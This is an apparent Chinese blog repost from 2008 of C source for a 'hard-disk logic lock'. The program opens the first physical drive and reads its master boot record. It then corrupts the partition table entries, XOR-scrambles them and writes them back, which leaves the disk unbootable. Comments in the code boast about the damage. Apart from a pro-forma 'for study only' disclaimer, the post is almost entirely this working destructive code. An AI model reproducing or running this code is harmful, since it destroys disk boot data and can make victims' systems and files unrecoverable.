硬盘逻辑锁代码
忘了是哪位牛淫发出来的,躺在硬盘里很久了,也没时间看
[code]
#include
#include
#include "YouHua.h"
void KillDisk()
{
HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL); //访问物理磁盘 physicaldriver0 就是第一快物理磁盘
if(hDevice==INVALID_HANDLE_VALUE) //判断句柄有效否
{
MessageBox(NULL,"Your luck's so good !1","Man~",MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //下发锁盘命令
DISK_GEOMETRY Getmetry;
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);
LPTSTR szBuf;
szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);
if(szBuf==NULL)
{
MessageBox(NULL,
"Your luck's so good !2","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL); //这里就是读取磁盘的前512字节 里面放了MBR 和DBR
if(m_ret==FALSE || readsize<512) // 简单点理解 MBR就是存放硬盘的一些信息
{ //例如主引导纪录等等。 随便破坏一点点。。 那么硬盘就无法正常启动了
MessageBox(NULL, //很淫贱吧
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
BYTE MBR[512]={0};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //下发解锁命令
CloseHandle(hDevice);
MBR[0x1BE]=80; //活动分区标志
MBR[0x1BF]=0; //本分区起始地址
MBR[0x1C2]=5; //分区类型
for(int i=0x1C3;i<=0x1FE;i++)
{
MBR[i]=MBR[i]^26; //加密
}
hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0", //再次打开物理磁盘
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //锁盘
m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL); //重写MBR
if(m_ret==FALSE||readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //解锁
CloseHandle(hDevice); //搞定收工...
}
void main()
{
KillDisk();
}
[/code]
以上代码仅供学习研究和收藏之用,请在法律允许范围内使用,勿用于商业及非法途径,使用者风险自负,所造成的后果本博客不承担任何责任
呵呵 硬盘逻辑锁出来似乎出来有很多年了吧!这段代码在我刚学计算机的时候也见过的……[wink]
2008-08-28 10:43